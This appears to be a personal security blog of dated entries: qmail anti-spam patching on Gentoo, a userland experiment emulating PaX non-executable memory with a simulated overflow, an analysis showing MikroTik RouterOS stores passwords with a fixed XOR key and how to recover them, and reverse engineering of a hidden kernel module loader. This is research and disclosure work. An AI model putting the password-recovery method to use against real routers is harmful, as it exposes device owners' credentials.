This is where I put up my thoughts / random notes on things, and whatever I feel like at the point in time. Usually it will be security focused.

For those who are curious, I used the asciidoc package to generate this website, as I don't have too much motivation to write a page out in html syntax and make it look pretty. Thanks to Steven for his script to generate rss feeds from this page structure. Here's the shell script that makes all the html pages for me.

Anti-spam with Gentoo's netqmail package.

(added 5/4/2009)

Recently I was asked to help admin a box (amongst other things).. one of the particular concerns was the amount of incoming spam to the box. Usually, I would use postfix + various settings to handle e-mail, but the other admin's wanted to keep qmail.

The box itself is running Gentoo Hardened, with qmail. At some stage, a custom qmail was configured — I wanted to return to using the gentoo packaging system to take care of that for me. After finding out it was patched with something to verify RCPT TO headers against (as opposed to accepting mail for every possible email address at a given domain, then sending bounce messages), I looked for something suitable, and came across this patch. Please see this website for further information.

Unfortunately, the patch didn't require cleanly, so that was fixed. This patch is available here if you want it. It was modified to use /var/qmail/control/moregoodrcptto.cdb as opposed to it's default, as that's how this system I was helping was configured.

Additionally, I wanted SPF verification / rejecting if sending host is authorized. I found a suitable patch here, which (as you guessed) didn't apply cleanly. The updated patch is available here.

Please see the respective websites for more information / configuration changes you may need to make.

In order to use these with Gentoo, you can do the following:

# mkdir /root/qmail_patches
# cd /root/qmail_patches
# wget http://felinemenace.org/~andrewg/antispam_with_gentoo_netqmail/1_rcptto.patch
# wget http://felinemenace.org/~andrewg/antispam_with_gentoo_netqmail/2_spf_filtering.patch
# echo QMAIL_PATCH_DIR="/root/qmail_patches" >> /etc/make.conf
# emerge netqmail

At which point it will compile netqmail with the patches in /root/qmail_patches.

Additionally, I enabled rblsmtpd in /var/qmail/control/conf-smtpd, via uncommenting and editing the QMAIL_SMTP_PRE variable, to the following:

QMAIL_SMTP_PRE="${QMAIL_SMTP_PRE} rblsmtpd -r sbl-xbl.spamhaus.org"

And, well, that's the end of the changes. If you're looking for anti-spam stuff, I'd suggest you use Postfix, as it's still being developed, and doesn't require random patching to get simple functionality working :-)

Pseudo-PaX-in-userland

(started 4/5/2008, added 5/5/2008)

This document describes how it could feasible to implement a pseudo PaX implementation, completely in userland. The described idea is far more of a play thing, than anything completely serious, for reasons later described. It's more of just random thoughts and experiments.

I don't recall how I got started along this track, except that it was something I've been meaning to look at for a while.

Introduction

Firstly, we should review how PaX's segmexec operates.

   While Linux effectively does not use segmentation by creating 0 based and
   4 GB limited segments for both code and data accesses (therefore logical
   addresses are the same as linear addresses), it is possible to set up
   segments that allow to implement non-executable pages.

   The basic idea is that we divide the 3 GB userland linear address space
   into two equal halves and use one to store mappings meant for data access
   (that is, we define a data segment descriptor to cover the 0-1.5 GB linear
   address range) and the other for storing mappings for execution (that is,
   we define a code segment descriptor to cover the 1.5-3 GB linear address
   range). Since an executable mapping can be used for data accesses as well,
   we will have to ensure that such mappings are visible in both segments
   and mirror each other. This setup will then separate data accesses from
   instruction fetches in the sense that they will hit different linear
   addresses and therefore allow for control/intervention based on the access
   type. In particular, if a data-only (and therefore non-executable) mapping
   is present only in the 0-1.5 GB linear address range, then instruction
   fetches to the same logical addresses will end up in the 1.5-3 GB linear
   address range and will raise a page fault hence allow detecting such
   execution attempts.

PaX's segmexec works by modifying the Global Descriptor Table which separates code and data requests to different virtual addresses.

Userspace, as far as I know, can't modify the Global Descriptor Table, but it can influence it's own Local Descriptor Table via the modify_ldt() system call. The modify_ldt() syscall can create code and data descriptors easily enough, and we can use call far and return far (amongst other techniques) to change into that selector.

Proof of concept

As a sample, let's try and execute a int3 instruction. We'll create a new LDT entry, with a base address of 4096, which means all CS addresses after that's set, has to be subtracted by 4096. And on with the show:

#include <stdlib.h>
#include <unistd.h>
#include <strings.h>
#include <stdio.h>
#include <errno.h>
#include <sys/types.h>
#include <fcntl.h>
#include <asm/ldt.h>

asm(".globl debug;\
        .type   debug, @function;\
debug:;\
        int3;\
.size   exit, .-exit;\
        "
        );

extern void debug();

/*
<asm/ldt.h>
struct modify_ldt_ldt_s {
        unsigned int  entry_number;
        unsigned long base_addr;
        unsigned int  limit;
        unsigned int  seg_32bit:1;
        unsigned int  contents:2;
        unsigned int  read_exec_only:1;
        unsigned int  limit_in_pages:1;
        unsigned int  seg_not_present:1;
        unsigned int  useable:1;
};

#define MODIFY_LDT_CONTENTS_DATA        0
#define MODIFY_LDT_CONTENTS_STACK       1
#define MODIFY_LDT_CONTENTS_CODE        2
*/

int do_ldt(int num, unsigned long base, int type)
{
        struct modify_ldt_ldt_s ldt_entry = {
                num, // entry_number
                (unsigned long int) (base), // base_address
                0xfffff, // limit, 4G or so :p
                1, // seg_32bit
                type, // contents
                1, // read_exec_only
                1, // limit_in_pages
                0, // seg_not_present
                1 // usable
        };
        return modify_ldt(1, &ldt_entry, sizeof(struct modify_ldt_ldt_s)) == 0;
}

int main(int argc, char **argv)
{
        short int seg;

        if(do_ldt(0, 0x1000, MODIFY_LDT_CONTENTS_CODE) == 0) {
                printf("Failed to modify ldt\n");
                exit(EXIT_FAILURE);
        }
        seg = 7; // (0 * 8) + 7
        //printf("new segment: %d|%02x\n", seg, seg);

        __asm__ volatile("pushw %0;\
                        pushl %1;\
                        lret"
                        :
                        : "r" (seg), "r" ((unsigned int)(debug) - 0x1000)
                        );

}

Running the above code under a debugger:

Copyright (C) 2007 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-pc-linux-gnu"...
(no debugging symbols found)
Using host libthread_db library "/lib/libthread_db.so.1".
(gdb) r
Starting program: /root/drifter/ldt/ldt_wot
(no debugging symbols found)
(no debugging symbols found)

Program received signal SIGTRAP, Trace/breakpoint trap.
0x08047559 in ?? ()
(gdb) x/4i $eip -1
0x8047558:      Cannot access memory at address 0x8047558
(gdb) x/4i $eip - 1 + 4096
0x8048558 <debug>:      int3
0x8048559 <do_ldt>:     push   %ebp
0x804855a <do_ldt+1>:   mov    %esp,%ebp
0x804855c <do_ldt+3>:   sub    $0x48,%esp
(gdb) i r cs
cs             0x7      7

As we can see in the debugger output, it's possible to set a custom CS descriptor, and execute code. Due to the now non-flat memory address space, it also messes with debugging a little bit.

Implementing the Pseduo-PaX

Quickly reviewing what we need to do:

Doing the above completely correctly would be difficult from userland, but possible if a bit of effort was to be expended.

For the purposes of this article, we'll write it using dietlibc, and make it not that feasible to use.

#include <stdlib.h>
#include <unistd.h>
#include <strings.h>
#include <stdio.h>
#include <errno.h>
#include <sys/types.h>
#include <fcntl.h>
#include <asm/ldt.h>
#include <sys/mman.h>
#include <asm/unistd.h>


/*
<asm/ldt.h>
struct modify_ldt_ldt_s {
        unsigned int  entry_number;
        unsigned long base_addr;
        unsigned int  limit;
        unsigned int  seg_32bit:1;
        unsigned int  contents:2;
        unsigned int  read_exec_only:1;
        unsigned int  limit_in_pages:1;
        unsigned int  seg_not_present:1;
        unsigned int  useable:1;
};

#define MODIFY_LDT_CONTENTS_DATA        0
#define MODIFY_LDT_CONTENTS_STACK       1
#define MODIFY_LDT_CONTENTS_CODE        2
*/

_syscall3(int,modify_ldt,int,op,void*,what,int,len);

/*int modify_ldt(int op, void *what, int len)
{
        return syscall(__NR_modify_ldt, op, what, len);
}*/


int do_ldt(int num, unsigned long base, int type)
{
        struct modify_ldt_ldt_s ldt_entry = {
                num, // entry_number
                (unsigned long int) (base), // base_address
                0x5ffff, // limit, 1.5G or so :p
                1, // seg_32bit
                type, // contents
                1, // read_exec_only
                1, // limit_in_pages
                0, // seg_not_present
                1 // usable
        };
        return modify_ldt(1, &ldt_entry, sizeof(struct modify_ldt_ldt_s)) == 0;
}

int do_exit()
{
        exit(EXIT_SUCCESS);
}

void vulnerable()
{
        int j[1];
        int i;
        char code[] = "\xcc\xcc\xcc\xcc";
#ifdef HEAP
        int addr = strdup(code);
#else
        int addr = &code;
#endif
        //char *where;
        //__asm__("int3;");
        for(i = 0; i < 10; i++) j[i] = (unsigned int)(addr);
}

unsigned char *old_stack;
int old_stack_len;

void duplicate_code_mappings()
{
        // taken from drifter level 11 code, but modified.
        FILE *f;
        int hi, low;
        char flags[5];
        int wot;
        int major, minor;
        int size;
        char remainder[1024];
        int ret;
        unsigned char *new;

        f = fopen("/proc/self/maps", "r");

        while(8 == (ret = fscanf(f, "%08x-%08x %[^ \n] %08x %02x:%02x %08x%[^\n]", &low, &hi, flags, &wot, &major, &minor, &size, remainder))) {
                if((low & 0x60000000) == 0x60000000) continue;

                size = hi - low;
                /*
                 * size = hi - low;
                 * printf("--> %08x-%d\n", low, size);
                printf("--> %08x-%08x %s %d %d:%d %d %s\n", low, hi, flags, wot, major, minor, size, remainder);
                 */

                // r-xp
                if(flags[1] == '-' && flags[2] == 'x') {
                        printf("--> Duplicating 0x%08x, %d bytes long\n", low, size);

                        new = mmap(low+0x60000000, size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
                        if(new == MAP_FAILED) {
                                printf("Unable to map code duplicate: %s\n", strerror(errno));
                                exit(EXIT_FAILURE);
                        }
                        memcpy(new, low, size);
                        mprotect(new, size, PROT_READ|PROT_EXEC);
                }
                old_stack = low;
                old_stack_len = size;
        }
        fclose(f);

        //exit(EXIT_FAILURE);
}


#define STKSIZ (4096 * 32)
// more code from drifter level11.. so I'm lazy :P

unsigned char *allocate_stack()
{
        int found;
        int address;
        short int shift;
        unsigned char *stack_ptr;
        int urand_fd;

        urand_fd = open("/dev/urandom", O_RDONLY);

        found = 0;
        while(!found) {
                if(read(urand_fd, &address, 4) != 4) {
                        printf("Read failure on /dev/urandom: %s\n", strerror(errno));
                        exit(EXIT_FAILURE);
                }

                if(read(urand_fd, &shift, 2) != 2) {
                        printf("Read failure on /dev/urandom: %s\n", strerror(errno));
                        exit(EXIT_FAILURE);
                }

                shift &= 4088; // (page_size - 1) - last 4 bits, to align stack

#if 1
                address &= 0x5f7fffff; // remove everything except for last 8M of address space
                //address |= TOOBIG;
#endif
                address &= ~4095;       // clear page addr

                stack_ptr = mmap(address, STKSIZ, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
                if(stack_ptr != MAP_FAILED) found = 1;

        }

        close(urand_fd);

        stack_ptr = (unsigned int)(stack_ptr) + (STKSIZ) - shift;
        memset(stack_ptr, 0xcc, shift);

        stack_ptr--;
        return stack_ptr;
}

void do_vulnerable()
{
        munmap(old_stack, old_stack_len);
        printf("Hello from do_vulnerable\n");
        vulnerable();
        do_exit();
}

int main(int argc, char **argv)
{
        short int seg;
        unsigned char *stack;

        if(do_ldt(0, 0x60000000, MODIFY_LDT_CONTENTS_CODE) == 0) {
                printf("Failed to modify ldt\n");
                exit(EXIT_FAILURE);
        }
        seg = 7;

        duplicate_code_mappings();
        stack = allocate_stack();

        printf("--> Will unmap old stack starting @ 0x%08x\n", old_stack);
        system("cat /proc/$PPID/maps");

        printf("Returning to do_vulnerable\n");

        __asm__ volatile("movl %0, %%esp;\
                        movl %%esp, %%ebp;\
                        pushl %1;\
                        pushw %2;\
                        pushl %3;\
                        lret"
                        :
                        : "m"(stack), "m" (do_exit), "r" (seg), "r" ((unsigned int)(do_vulnerable))
                        );

}

The above was compiled with:

diet gcc -fno-pie -fno-stack-protector ldt_test.c -o ldt_test

The above code creates a new stack mapping (because the original is mapped somewhere around 0xbfff0000) and allocates underneath the cutoff point, in addition, it duplicates code layout via scanning /proc/self/maps for mappings marked executable, and NOT writable.

The vulnerable() function stimulates a stack overflow, pointing to the int3 instruction. Optionally, it can be compiled with -DHEAP, and it will stimulate a heap return address, rather than a stack return address.

Watching it catch heap execute attempts:

GNU gdb 6.7.1
Copyright (C) 2007 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-pc-linux-gnu"...
(no debugging symbols found)
Using host libthread_db library "/lib/libthread_db.so.1".
(gdb) r
Starting program: /root/drifter/ldt/ldt_wot
--> Duplicating 0x08048000, 24576 bytes long
--> Will unmap old stack starting @ 0xbfffc000
00110000-00111000 rw-p 00000000 00:00 0
08048000-0804e000 r-xp 00000000 08:01 50639      /root/drifter/ldt/ldt_wot
0804e000-08050000 rw-p 00005000 08:01 50639      /root/drifter/ldt/ldt_wot
08050000-08051000 rwxp 00000000 00:00 0
0d2a4000-0d2c4000 rw-p 00000000 00:00 0
68048000-6804e000 r-xp 00000000 00:00 0
bfffc000-c0000000 rwxp ffffd000 00:00 0
Returning to do_vulnerable
Hello from do_vulnerable

Program received signal SIGSEGV, Segmentation fault.
0x00111008 in ?? ()
(gdb) x/4i $eip
0x111008:       int3
0x111009:       int3
0x11100a:       int3
0x11100b:       int3

And stack execution attempts:

GNU gdb 6.7.1
Copyright (C) 2007 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-pc-linux-gnu"...
(no debugging symbols found)
Using host libthread_db library "/lib/libthread_db.so.1".
(gdb) r
Starting program: /root/drifter/ldt/ldt_wot
--> Duplicating 0x08048000, 24576 bytes long
--> Will unmap old stack starting @ 0xbfff4000
00110000-00111000 rw-p 00000000 00:00 0
063c3000-063e3000 rw-p 00000000 00:00 0
08048000-0804e000 r-xp 00000000 08:01 50635      /root/drifter/ldt/ldt_wot
0804e000-08050000 rw-p 00005000 08:01 50635      /root/drifter/ldt/ldt_wot
08050000-08051000 rwxp 00000000 00:00 0
68048000-6804e000 r-xp 00000000 00:00 0
bfff4000-c0000000 rwxp ffff5000 00:00 0
Returning to do_vulnerable
Hello from do_vulnerable

Program received signal SIGSEGV, Segmentation fault.
0x063e25b1 in ?? ()
(gdb) x/4i $eip
0x63e25b1:      int3
0x63e25b2:      int3
0x63e25b3:      int3
0x63e25b4:      int3

Implementing it properly

This idea would be easily implemented in the ELF loader (ld.so, not kernel) if it laid out the memory correctly, and probably remapped the stack to a lower address. It would also have to hook stuff like mmap() and duplicate it if possible/applicable.

Anonymous memory could possibly be handled via making it disk backed, and mapping twice from that.

As opposed to memcpy, it should correctly parse /proc/<pid>/maps, and mmap() from shared libraries correctly.

Dynamically generated code could be handled by marking segments non writable, when attempting to execute them. On attempts to write there again, it would be unmapped from the executable region, and marked writable again. Self modifying code would be handled via this mechanism, albeit slowly.

Weaknesses

Other uses for modify_ldt() syscall

MikroTik Router Security Analysis: Weak password storage / encryption

(added 3/1/2008)

On the 3rd January, manio [at] skyboo [dot] net e-mailed me asking for some hints / tips / advice about how the passwords are stored in the MikroTik Router OS image. (To his credit, he said he realised it was XOR based pretty much after he hit sent the mail). The user/password information is stored in /nova/store/user.dat. His homepage is http://manio.skyboo.net/mikrotik/.

According to him, the following passwords had the following encrypted text:

zero length pw  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0               78 BF DE 06 49 5A 0E 2D 09 D5 FB 27 B1 44 EC 93 01
aaa             29 D3 BF 06 49 5A 0E 2D 09 D5 FB 27 B1 44 EC 93 01
ala             29 DE BF 06 49 5A 0E 2D 09 D5 FB 27 B1 44 EC 93 01
0000            48 8F EE 36 49 5A 0E 2D 09 D5 FB 27 B1 44 EC 93 01

Initially, we can note that :

This made me think it was something trivial such as an XOR based scheme.

If it is, we can work out what the first XOR byte is by:

>>> hex(0x78 ^ ord('0'))
'0x48'

This works due to the properties of XOR.

Continuing on with our analysis / assumption that it is XOR on the second char, we take the suspected xor byte of 0xbf, and XOR them against the decimal value of a and l

>>> hex(0xbf ^ ord('a'))
'0xde'
>>> hex(0xbf ^ ord('l'))
'0xd3'

As we can see, the returned bytes are the same as the second bytes from the "hash" from aaa and ala respectively.

Since we now know the "encryption" key, we can write a decoder trivially. (As a side note, I like Python's doctest module :) )

$ python mikrotik_password.py 29 de bf 06 49 5a 0e 2d 09 d5 fb 27 b1 44 ec 93 01
aaa

The password decoder can be found here for those who care.

I do not know if the encryption key changes on different releases of RouterOS, or if it is dependant upon license key or anything like that - this was coded with the information manio (lowercased upon his request) provided to me. manio said that he would investigate this when he gets a chance.

Ruxcon 2008

(added 20/11/2007)

Despite what many have thought, ruxcon will be making a comeback in 2008 :) Not too much has been planned at the moment, but by the looks of it, things are back on track. Somewhat recently, a ddos kiddie from South Australia packeted the box, causing the hosting provider to null route the ip… however that issue was sorted out.

I will be attempting to do a talk at ruxcon, not sure exactly what, but probably regarding hardened linux, and covering such things as PaX / grsecurity and other assorted things.

Depending on how things are going, I will probably set up a capture the flag game as well.

If you are interested in speaking at Ruxcon 2008, drop a note to chris@ruxcon.org.au indicating your interest.

Hope to see you all there :D

MikroTik Router Security Analysis: Uncovering a hidden kernel module in a binary

(started 28/8/2007, added 11/10/2007)

The MikroTik Wireless Router is a Linux embedded wireless router, focusing on various functionality such as bandwidth management, Firewalling, VPN server/client, and various other things. As with all embedded linux based software, it is interesting to pull it apart :)

It has been around for a while now… a couple of years ago when I analysed the software / pulling it apart, it had drivers/firmware to turn standard Orinoco wireless cards into an Access Point (which as far as I know isn't possible otherwise, at least not when I was looking at it.)

For the purposes of this article, I am looking at mikrotik-2.9.46.iso (MD5sum: 65aa908dd748ccf72ad9f588613dfe31, SHA1sum: 5e5ed13498db8d9745a701f75e58da3ef6701e58). For the most part, I have used QEMU to emulate the hardware/software environment to install it on. This has several advantages, such as being able to edit the "disk" it's using easily, amongst other things.

Performing active analysis of MikroTik router components

To perform more active analysis of the MikroTik components, we could copy the applicable binaries and associated libraries to another linux platform. This would allow us to strace the binary, debug it (which is incredibly useful for exploit development), and monitor the activities it performs in general. Furthermore, we can copy the kernel and applicable modules to perform further analysis on them, and to allow the environment to be replicated a lot better.

The analysis environment / setup

For this article, I have done a basic network install of Debian 4rc1. After performing the installation and installing a bunch of generic tools (strace/gdb/gcc/ltrace/openssh-server/nasm/etc), I then extracted the Mikrotik kernel and modules, and put the applicable files into their place.

[box] # wget http://felinemenace.org/~andrewg/MikroTik_Router_Security_Analysis_Part1/MikroTik-2.9.46-kernel-initrd.tgz
--08:58:00-- http://felinemenace.org/~andrewg/MikroTik_Router_Security_Analysis_Part1/MikroTik-2.9.46-kernel-initrd.tgz
           => `MikroTik-2.9.46-kernel-initrd.tgz'
Resolving felinemenace.org... 69.55.233.10
Connecting to felinemenace.org|69.55.233.10|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1,832,960 (1.7M) [application/x-gzip]

100%[====================================>] 1,832,960    327.68K/s    ETA 00:00

08:58:06 (330.42 KB/s) - `MikroTik-2.9.46-kernel-initrd.tgz' saved [1832960/1832960]
[box] # tar xzf MikroTik-2.9.46-kernel-initrd.tgz
[box] # mv lib/modules/2.4.31/ /lib/modules/2.4.31
[box] # mv boot/vmlinuz /boot/vmlinuz-2.4.31
[box] # cd /boot/grub/
[box] # cat >>menu.lst <<_EOF_
> title MikroTik 2.4.31 / 2.9.46
> root            (hd0,0)
> kernel /boot/vmlinuz-2.4.31
>
> _EOF_
[box] # sync ; reboot

While the QEMU image was rebooting, I wondered if it would work, due to differences in 2.6 and 2.4 kernels.. Firstly though, it appeared I may have to experiment with initrd images to load the applicable drivers for it and generally mess around as when booting it displayed:

  Booting 'MikroTik 2.4.31 / 2.9.46'

root                    (hd0,0)
 Filesystem type is ext2fs, partition type is 0x83
kernel /boot/vmlinuz-2.4.31
    [Linux-bzImage, setup=0x1400, size=0xa044d]

Uncompressing Linux... Ok, booting the kernel.
Kernel panic: VFS: Unable to mount root fs on 09:00

Booting back into the standard Debian kernel:

[box] # cd /boot/
[box] # cp /root/boot/initrd.rgz mikro-initrd.rgz
[box] # cd grub/
[box] # echo initrd /boot/mikro-initrd.rgz >>menu.lst
[box] # sync ; reboot

Unfortunately, this gives a similar error message before. We know previously from mounting the mikrotik root filesystem it was ext3, but we can (attempt) to verify what filesystems they support. Looking over the original find output for the kernel modules, we don't see any filesystem modules for the default ext2 filesystem.

We can verify the filesystems supported by analysing the vmlinuz file. To summarise, basically, this file contains some bootup to get the machine into a decent state, a gzip decompression routine, and a heap of compressed data. The information we're interested in is in the compressed data, so we have to decompress it. As it's not a standard gzip file, we can't just run gunzip on it and be done with it, we need extract the compressed data.

Fortunately, this can be done rather easily because the the gzip header / magic bytes, which allows us to find suitable offsets to attempt decompression. The gzip magic bytes can be found by doing:

[box] # cd /tmp
[box] # cp /etc/passwd .
[box] # gzip passwd
[box] # xxd passwd.gz  | head
0000000: 1f8b 0808 2061 d346 0003 7061 7373 7764  .... a.F..passwd
0000010: 0065 93c1 6ec2 300c 86ef 3c05 c74d 0285  .e..n.0...<..M..
0000020: 5260 90e3 3469 9771 d99e c06d 4289 d626  R`..4i.q...mB..&
0000030: 55d2 5278 fbd9 71a0 4593 adc8 7ffc 2536  U.Rx..q.E.....%6
0000040: 0ef5 ce75 f22a 5768 9e42 c16b 61ac 2820  ...u.*Wh.B.ka.(
0000050: 9c67 0a74 e32c 1219 5a12 a20f 5e04 4498  .g.t.,..Z...^.D.
0000060: 438a e2ab 5ca3 dd77 1fa9 700b 98ca d128  C...\..w..p....(
0000070: 124a 5f26 295b 626e 2377 db6d be91 514e  .J_&)[bn#w.m..QN
0000080: cea2 9c55 d068 3abf 95bb 9564 11ab a730  ...U.h:....d...0
0000090: 5dd4 0095 dfc9 6c2d 2914 17f0 a284 f2ac  ].....l-).......

For the purpose on hand, we'll use 0x1f8b as our marker.

[box] # xxd /boot/vmlinuz-2.4.31 | egrep "\b1f8b|1f\b \b8b" | head -n 5
00049a0: a9d0 0900 1f8b 0800 b533 bc46 0203 ec5d  .........3.F...]
0004f20: 3613 e31f 8b6d a730 ef6f 1078 d415 4401  6....m.0.o.x..D.
001c6c0: 0a1f 8bab 69a2 a7e5 533b 4d60 764f 93bc  ....i...S;M`vO..
00381b0: c3ba d727 7964 631f 8baf 810c 2704 206f  ...'ydc.....'. o
003fdf0: 972f d2d6 d50e 5d37 180b 771f 8bc5 b43d  ./....]7..w....=

To extract the the compressed data from the vmlinuz-2.4.31 file, dd does the trick easily. We'll start from our first match and work our way down.

[box] # dd if=/boot/vmlinuz-2.4.31 of=vmlinuz.gz bs=1 skip=$((0x49a4))
662093+0 records in
662093+0 records out
662093 bytes (662 kB) copied, 16.0954 seconds, 41.1 kB/s
[box] # file vmlinuz.gz
vmlinuz.gz: gzip compressed data, from Unix, last modified: Fri Aug 10
19:45:25 2007, max compression
[box] # gunzip vmlinuz.gz
[box] # strings -a vmlinuz
... skip ...

After seeing various ext2 related things, I realised it was probably a problem with something else. Reviewing grub's menu.lst, it becomes obvious:

title           Debian GNU/Linux, kernel 2.6.18-5-686
root            (hd0,0)
kernel          /boot/vmlinuz-2.6.18-5-686 root=/dev/hda1 ro
initrd          /boot/initrd.img-2.6.18-5-686
savedefault
.... skip...
title MikroTik 2.4.31 / 2.9.46
root            (hd0,0)
kernel /boot/vmlinuz-2.4.31

initrd /boot/mikro-initrd.rgz

The kernel line for the MikroTik entry misses out on some parameters. Fixing the applicable line, (kernel /boot/vmlinuz-2.4.31 root=/dev/hda1 ro single) and rebooting, it works. At least the decompressing of the kernel image can come in use for further investigation work. One last thing to note is that it requires the debian modutils package to work with 2.4 kernels.

Anyways, moving on, the debian image boots up and works reasonably with their kernel / modules. I had to load the ne2k-pci module manually (via modprobe ne2k-pci) to bring up networking under QEMU.

Another issue I had under the debian/mikrotik hybrid I created, was that the MikroTik kernel does not have AF_UNIX/AF_FILE support built-in, so useful programs like sysklogd and sshd would not run by default… However, it ships this as a module, so modprobe unix took care of this issue.

In order to run the MikroTik binaries (/nova/bin/), I needed to copy various files. I copied /nova/ over, and made a directory called /lib_mikro/ where I could copy various libary files over that resided in the /lib directory on the MikroTik installation.

In order to use these libraries in a non-standard directory location, the environment variable LD_LIBRARY_PATH can be set. This way only the applicable MikroTik binaries can be ran with correct library versions.

Examining the fileman binary

Doing some prelimiary analysis on the fileman binary shows that it appears to be expecting a network file descriptor on fd 3.

[box] $ LD_LIBRARY_PATH=/lib_mikro/ strace -f ./fileman
execve("./fileman", ["./fileman"], [/* 14 vars */]) = 0
uname({sys="Linux", node="debian", ...}) = 0
brk(0)                                  = 0x805861c
...
rt_sigaction(SIGFPE, {0x4002c8ca, [], SA_RESTORER|SA_RESTART|SA_SIGINFO,
0x4009d4c0}, NULL, 8) = 0
getsockname(3, 0xbffffd18, [110])       = -1 EBADF (Bad file descriptor)
socket(PF_FILE, SOCK_STREAM, 0)         = -1 EAFNOSUPPORT (Address family not
supported by protocol)
exit_group(1)                           = ?
Process 2147 detached

Unfortunately, debian's version of bash does not have /dev/tcp/ support, so unfortunately it's not as easy as nc -l 12121 on one terminal, and … ./fileman 3</dev/tcp/blah/.

After quickly writing some code to do what's needed, we can run fileman (and probably others). It's available here if you would like it. Usage is simple, python fd3.py <program to execute> <arguments for program>. Note that the first argument you specify for the program is argv[0] - not argv[1]. An example of a command line would be python fd3.py /usr/bin/strace strace -f /path/to/program.

Another issue appeared when trying to run fileman with a valid file descriptor on fd 3 - it wanted /tmp/novasock to be a valid file descriptor:

[box] $ LD_LIBRARY_PATH=/lib_mikro fd3 `which strace` strace -f ./fileman
getsockname(3, {sa_family=AF_INET, sin_port=htons(31313), sin_addr=inet_addr("192.168.254.3")}, [16]) = 0
socket(PF_FILE, SOCK_STREAM, 0)         = 4
connect(4, {sa_family=AF_FILE, path="/tmp/novasock"}, 110) = -1 ENOENT (No such file or directory)
close(4)                                = 0
exit_group(1)                           = ?

Looking for /tmp/novasock we find the the loader binary seems to have what we're after:

[box] $ strings -f * | grep novasock
loader: /tmp/novasock
Analysing kernel module and userland interaction

Performing some initial analysis via strace on loader reveals an interesting / startling behaviour in loader:

[box] $ LD_LIBRARY_PATH=/lib_mikro strace -f ./loader
...
[pid  2361] create_module("qwink", 1430) = 0xc8831000
[pid  2361] init_module(0x80553fc, 134587376, umovestr: Input/output error
0xa7) = 0
[pid  2361] delete_module("qwink")      = 0
...

The interesting thing about this particular piece of code is that it is loading a linux kernel module (LKM), and immediately removes the kernel module. This is particularly interesting as it would appear to be a kernel module that's meant to be out of sight.

To dump the module, we could hook init_module to perform our required actions, however, first we have to verify it's easily possible:

[box[ $ objdump -R loader  | grep -i module
[box] $

This is interesting, as it appears to not be importing the various module library calls, performing some more analysis:

[box] $ objdump -dtrs loader | grep module
...
 804fb69:       e8 3a 42 00 00          call   8053da8 <delete_module+0x336>
08053a20 <create_module>:
 8053a36:       76 0c                   jbe    8053a44 <create_module+0x24>
08053a49 <init_module>:
...

The interesting thing about this output is the sections where the module names are surrounded by the angle brackets; this indicates that those functions exist in the .text of loader:

08053a49 <init_module>:
 8053a49:       55                      push   %ebp
 8053a4a:       b8 80 00 00 00          mov    $0x80,%eax
 8053a4f:       89 e5                   mov    %esp,%ebp
 8053a51:       53                      push   %ebx
 8053a52:       8b 4d 0c                mov    0xc(%ebp),%ecx
 8053a55:       8b 5d 08                mov    0x8(%ebp),%ebx
 8053a58:       cd 80                   int    $0x80
 8053a5a:       83 f8 82                cmp    $0xffffff82,%eax
 8053a5d:       89 c3                   mov    %eax,%ebx
 8053a5f:       76 0c                   jbe    8053a6d <init_module+0x24>
 8053a61:       f7 db                   neg    %ebx
 8053a63:       e8 54 70 ff ff          call   804aabc <__errno_location@plt>
 8053a68:       89 18                   mov    %ebx,(%eax)
 8053a6a:       83 cb ff                or     $0xffffffff,%ebx
 8053a6d:       89 d8                   mov    %ebx,%eax
 8053a6f:       5b                      pop    %ebx
 8053a70:       5d                      pop    %ebp
 8053a71:       c3                      ret

This appears to be a standard implementation of the _syscallX() macros in the asm/unistd.h. While we're staring at objdump -d output, we may as well look at where this code is (statically) being called from:

 8053ea6:       ff 75 dc                pushl  0xffffffdc(%ebp)
 8053ea9:       ff 35 20 64 05 08       pushl  0x8056420
 8053eaf:       e8 95 fb ff ff          call   8053a49 <init_module>

At 0x8053ea9 it pushes a static address (0x8056420) which does not correspond to our strace output. Having a brief look at where that variable is used before hand:

[box] $ objdump -dtrsRS loader | grep -C 2 8056420
...
 8053db4:       83 ec 18                sub    $0x18,%esp
 8053db7:       c7 45 f0 00 00 00 00    movl   $0x0,0xfffffff0(%ebp)
 8053dbe:       8b 3d 20 64 05 08       mov    0x8056420,%edi
 8053dc4:       ba 10 00 00 00          mov    $0x10,%edx
 8053dc9:       f2 ae                   repnz scas %es:(%edi),%al
--
 8053e19:       e8 3e 70 ff ff          call   804ae5c <memcpy@plt>
 8053e1e:       53                      push   %ebx
 8053e1f:       ff 35 20 64 05 08       pushl  0x8056420
 8053e25:       56                      push   %esi
 8053e26:       e8 31 70 ff ff          call   804ae5c <memcpy@plt>
 8053e2b:       ff 75 ec                pushl  0xffffffec(%ebp)
 8053e2e:       ff 35 20 64 05 08       pushl  0x8056420
 8053e34:       e8 e7 fb ff ff          call   8053a20 <create_module>
 8053e39:       83 c4 24                add    $0x24,%esp
--
 8053ea1:       e8 57 fd ff ff          call   8053bfd <delete_module+0x18b>
 8053ea6:       ff 75 dc                pushl  0xffffffdc(%ebp)
 8053ea9:       ff 35 20 64 05 08       pushl  0x8056420
 8053eaf:       e8 95 fb ff ff          call   8053a49 <init_module>
 8053eb4:       83 c4 10                add    $0x10,%esp
--
 8053ee0:       83 c4 0c                add    $0xc,%esp
 8053ee3:       8b 55 f0                mov    0xfffffff0(%ebp),%edx
 8053ee6:       ff 35 20 64 05 08       pushl  0x8056420
 8053eec:       39 c2                   cmp    %eax,%edx
 8053eee:       0f 94 c3                sete   %bl

